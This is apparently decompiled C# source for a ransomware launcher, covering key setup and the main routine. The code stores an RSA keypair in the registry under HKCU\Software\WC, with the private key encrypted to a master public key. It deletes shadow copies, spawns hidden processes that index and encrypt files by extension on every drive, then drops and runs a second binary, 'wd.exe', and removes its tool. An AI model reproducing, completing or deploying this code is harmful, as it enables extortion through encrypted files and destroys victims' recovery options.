public static string InitKeysSubsystem(string masterPublicKey)
{
string result = "";
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software", true);
RegistryKey registryKey2 = registryKey.OpenSubKey("WC", true);
if (registryKey2 == null)
{
registryKey2 = registryKey.CreateSubKey("WC");
}
if (registryKey2.GetValue("guid") == null)
{
registryKey2.SetValue("guid", Guid.NewGuid().ToString());
string text = PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-genrsa");
string contents = text.Split(new char[]
{
','
})[0];
string text2 = text.Split(new char[]
{
','
})[1];
File.WriteAllText(Program.ENCRYPTED_PRIVATE_KEY_FNAME, contents);
GC.Collect();
PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-ef " + Program.ENCRYPTED_PRIVATE_KEY_FNAME + " " + masterPublicKey);
byte[] inArray = File.ReadAllBytes(Program.ENCRYPTED_PRIVATE_KEY_FNAME);
File.Delete(Program.ENCRYPTED_PRIVATE_KEY_FNAME);
registryKey2.SetValue("public_key", text2);
registryKey2.SetValue("private_key_encrypted", Convert.ToBase64String(inArray));
registryKey2.SetValue("wc_path", Assembly.GetEntryAssembly().Location);
result = text2;
}
else
{
result = (string)registryKey2.GetValue("public_key");
}
registryKey2.Close();
registryKey.Close();
}
catch
{
}
return(result);
}
private static string Execute(string path, string arguments, bool wait)
{
string result;
try
{
Process process = PS.StartHidden(path, arguments);
if (wait)
{
process.WaitForExit();
result = process.StandardOutput.ReadToEnd();
}
else
{
result = null;
}
}
catch
{
result = "";
}
return(result);
}
public static void ExecuteAndForget(string path, string arguments)
{
PS.Execute(path, arguments, false);
}
public static string ExecuteAndWait(string path, string arguments)
{
return(PS.Execute(path, arguments, true));
}
private static void Main(string[] args)
{
if (args.Length == 1 && args[0] == "-extract")
{
File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
}
if (args.Length != 2)
{
return;
}
try
{
string text = args[0];
string text2 = args[1];
bool flag = text == "-ed";
if (!(text != "-ed") || !(text != "-dd"))
{
if (text2 == "demo")
{
text2 = (flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE);
}
Program.RemoveIndexFiles();
File.WriteAllBytes(Program.ENCRYPTION_TOOL_FNAME, Resources.ed);
PS.ExecuteAndForget(Program.ENCRYPTION_TOOL_FNAME, "-delshadowcopies");
string text3 = flag ? Program.InitKeysSubsystem(text2) : text2;
if (text3 == Program.DEMO_KEY_PRIVATE)
{
try
{
string text4 = "key.decrypted";
File.WriteAllBytes(text4, Convert.FromBase64String((string)Registry.CurrentUser.OpenSubKey("Software\\WC", false).GetValue("private_key_encrypted")));
PS.ExecuteAndWait(Program.ENCRYPTION_TOOL_FNAME, "-df " + text4 + " " + text2);
text3 = File.ReadAllText(text4);
File.Delete(text4);
}
catch
{
text3 = "";
}
}
if (!(text3 == ""))
{
List <string> list = Program.ListDrives();
List <Process> list2 = new List <Process>();
using (List <string> .Enumerator enumerator = list.GetEnumerator())
{
while (enumerator.MoveNext())
{
string current = enumerator.Current;
list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, "-index " + current));
}
goto IL_196;
}
IL_18C:
Thread.Sleep(1000);
IL_196:
if (!Program.CheckJobsDone(list2))
{
goto IL_18C;
}
list2.Clear();
List <string> list3 = new List <string>();
foreach (string current2 in list)
{
string format = "{0} {1} {2} windows {3}";
list3.Add(string.Format(format, new string[]
{
text,
current2,
Program.DEMO_EXTENSIONS,
flag ? Program.DEMO_KEY_PUBLIC : Program.DEMO_KEY_PRIVATE
}));
string[] aLL_EXTENSIONS = Program.ALL_EXTENSIONS;
for (int i = 0; i < aLL_EXTENSIONS.Length; i++)
{
string text5 = aLL_EXTENSIONS[i];
list3.Add(string.Format(format, new string[]
{
text,
current2,
text5,
text3
}));
}
}
PS.RedirectOutput = false;
using (List <string> .Enumerator enumerator = list3.GetEnumerator())
{
while (enumerator.MoveNext())
{
string current3 = enumerator.Current;
list2.Add(PS.StartHidden(Program.ENCRYPTION_TOOL_FNAME, current3));
}
goto IL_2B5;
}
IL_2AB:
Thread.Sleep(1000);
IL_2B5:
if (!Program.CheckJobsDone(list2))
{
goto IL_2AB;
}
}
}
}
catch (Exception)
{
}
finally
{
try
{
Program.RemoveIndexFiles();
File.WriteAllBytes("wd.exe", Resources.wg);
PS.ExecuteAndForget("wd.exe", "");
}
catch
{
}
try
{
File.Delete(Program.ENCRYPTION_TOOL_FNAME);
}
catch
{
}
}
}
